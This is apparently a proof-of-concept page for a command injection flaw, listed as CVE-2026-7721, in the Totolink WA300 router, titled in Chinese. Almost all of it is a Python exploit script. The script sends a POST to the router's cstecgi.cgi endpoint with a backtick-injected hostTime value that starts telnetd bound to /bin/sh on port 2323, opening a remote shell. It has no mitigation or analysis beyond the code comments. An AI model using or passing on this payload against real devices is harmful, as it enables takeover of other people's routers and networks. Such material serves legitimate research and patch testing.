CVE-2026-7721 Totolink WA300 命令注入漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Attacker's session cookie (required due to PR:L) cookies = { "Cookie": "uid=123456; " } # Malicious payload to inject command (e.g., telnetd or ping) # Using backticks or semicolon to break the original command injected_cmd = "`telnetd -p 2323 -l /bin/sh`" # Construct the POST data data = { "function": "set", "action": "NTPSyncWithHost", "hostTime": injected_cmd } try: # Send the exploit request response = requests.post(target_url, json=data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")